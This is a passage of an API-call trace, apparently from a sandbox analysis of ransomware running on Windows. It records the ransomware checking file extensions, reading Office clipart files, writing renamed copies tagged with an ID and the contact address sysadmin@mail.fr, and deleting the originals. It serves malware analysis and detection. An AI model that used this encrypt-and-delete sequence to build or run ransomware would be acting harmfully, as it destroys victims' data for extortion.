	[0183.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.322] lstrlenW (lpString=".xlsx") returned 5
	[0183.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.322] lstrlenW (lpString=".ppt") returned 4
	[0183.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.322] lstrlenW (lpString=".zip") returned 4
	[0183.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.322] lstrlenW (lpString=".rar") returned 4
	[0183.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString=".bz2") returned 4
	[0183.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString=".7z") returned 3
	[0183.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.323] lstrlenW (lpString=".dbf") returned 4
	[0183.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.323] lstrlenW (lpString=".1cd") returned 4
	[0183.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.323] lstrlenW (lpString=".jpg") returned 4
	[0183.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.323] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.323] lstrlenW (lpString="DD01183_.WMF") returned 12
	[0183.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.324] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2296) returned 1
	[0183.324] CloseHandle (hObject=0x368) returned 1
	[0183.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220
	[0183.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.324] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.324] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.325] GetLastError () returned 0x0
	[0183.325] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x8f8, lpOverlapped=0x0) returned 1
	[0183.327] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x900, lpOverlapped=0x0) returned 1
	[0183.332] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.332] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.332] SetEndOfFile (hFile=0x30c) returned 1
	[0183.332] CloseHandle (hObject=0x30c) returned 1
	[0183.333] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.333] SetEndOfFile (hFile=0x368) returned 1
	[0183.334] CloseHandle (hObject=0x368) returned 1
	[0183.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0183.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.335] lstrlenW (lpString=".doc") returned 4
	[0183.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.335] lstrlenW (lpString=".docx") returned 5
	[0183.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.335] lstrlenW (lpString=".pdf") returned 4
	[0183.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.335] lstrlenW (lpString=".xls") returned 4
	[0183.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.335] lstrlenW (lpString=".xlsx") returned 5
	[0183.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.335] lstrlenW (lpString=".ppt") returned 4
	[0183.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString=".zip") returned 4
	[0183.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.336] lstrlenW (lpString=".rar") returned 4
	[0183.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString=".bz2") returned 4
	[0183.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString=".7z") returned 3
	[0183.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString=".dbf") returned 4
	[0183.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString=".1cd") returned 4
	[0183.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString=".jpg") returned 4
	[0183.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.336] lstrlenW (lpString=".doc") returned 4
	[0183.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.336] lstrlenW (lpString=".docx") returned 5
	[0183.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.337] lstrlenW (lpString=".pdf") returned 4
	[0183.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString=".xls") returned 4
	[0183.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.337] lstrlenW (lpString=".xlsx") returned 5
	[0183.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.337] lstrlenW (lpString=".ppt") returned 4
	[0183.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.337] lstrlenW (lpString=".zip") returned 4
	[0183.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.337] lstrlenW (lpString=".rar") returned 4
	[0183.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString=".bz2") returned 4
	[0183.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString=".7z") returned 3
	[0183.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.337] lstrlenW (lpString=".dbf") returned 4
	[0183.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.337] lstrlenW (lpString=".1cd") returned 4
	[0183.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0183.337] lstrlenW (lpString=".jpg") returned 4
	[0183.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.338] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.338] lstrlenW (lpString="DD01186_.WMF") returned 12
	[0183.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.338] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=8564) returned 1
	[0183.338] CloseHandle (hObject=0x368) returned 1
	[0183.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220
	[0183.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.339] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.339] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.340] GetLastError () returned 0x0
	[0183.340] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x2174, lpOverlapped=0x0) returned 1
	[0183.642] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0183.649] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.649] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.650] SetEndOfFile (hFile=0x30c) returned 1
	[0183.650] CloseHandle (hObject=0x30c) returned 1
	[0183.650] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.650] SetEndOfFile (hFile=0x368) returned 1
	[0183.651] CloseHandle (hObject=0x368) returned 1
	[0183.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0183.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.652] lstrlenW (lpString=".doc") returned 4
	[0183.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.652] lstrlenW (lpString=".docx") returned 5
	[0183.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.652] lstrlenW (lpString=".pdf") returned 4
	[0183.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.652] lstrlenW (lpString=".xls") returned 4
	[0183.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.652] lstrlenW (lpString=".xlsx") returned 5
	[0183.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.652] lstrlenW (lpString=".ppt") returned 4
	[0183.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.652] lstrlenW (lpString=".zip") returned 4
	[0183.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.653] lstrlenW (lpString=".rar") returned 4
	[0183.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString=".bz2") returned 4
	[0183.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString=".7z") returned 3
	[0183.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.653] lstrlenW (lpString=".dbf") returned 4
	[0183.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.653] lstrlenW (lpString=".1cd") returned 4
	[0183.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.653] lstrlenW (lpString=".jpg") returned 4
	[0183.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.653] lstrlenW (lpString=".doc") returned 4
	[0183.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString=".docx") returned 5
	[0183.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.653] lstrlenW (lpString=".pdf") returned 4
	[0183.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString=".xls") returned 4
	[0183.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.653] lstrlenW (lpString=".xlsx") returned 5
	[0183.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.653] lstrlenW (lpString=".ppt") returned 4
	[0183.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.654] lstrlenW (lpString=".zip") returned 4
	[0183.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.654] lstrlenW (lpString=".rar") returned 4
	[0183.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.654] lstrlenW (lpString=".bz2") returned 4
	[0183.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.654] lstrlenW (lpString=".7z") returned 3
	[0183.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.654] lstrlenW (lpString=".dbf") returned 4
	[0183.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.654] lstrlenW (lpString=".1cd") returned 4
	[0183.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0183.654] lstrlenW (lpString=".jpg") returned 4
	[0183.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.654] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.654] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0183.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.655] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3252) returned 1
	[0183.655] CloseHandle (hObject=0x368) returned 1
	[0183.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220
	[0183.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.656] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.656] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.687] GetLastError () returned 0x0
	[0183.687] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0xcb4, lpOverlapped=0x0) returned 1
	[0183.688] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0183.689] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.689] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.689] SetEndOfFile (hFile=0x30c) returned 1
	[0183.689] CloseHandle (hObject=0x30c) returned 1
	[0183.689] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.690] SetEndOfFile (hFile=0x368) returned 1
	[0183.691] CloseHandle (hObject=0x368) returned 1
	[0183.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0183.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.692] lstrlenW (lpString=".doc") returned 4
	[0183.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.692] lstrlenW (lpString=".docx") returned 5
	[0183.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.692] lstrlenW (lpString=".pdf") returned 4
	[0183.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.692] lstrlenW (lpString=".xls") returned 4
	[0183.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.692] lstrlenW (lpString=".xlsx") returned 5
	[0183.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.692] lstrlenW (lpString=".ppt") returned 4
	[0183.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString=".zip") returned 4
	[0183.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.693] lstrlenW (lpString=".rar") returned 4
	[0183.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString=".bz2") returned 4
	[0183.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString=".7z") returned 3
	[0183.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString=".dbf") returned 4
	[0183.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString=".1cd") returned 4
	[0183.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString=".jpg") returned 4
	[0183.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.693] lstrlenW (lpString=".doc") returned 4
	[0183.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.693] lstrlenW (lpString=".docx") returned 5
	[0183.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.693] lstrlenW (lpString=".pdf") returned 4
	[0183.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString=".xls") returned 4
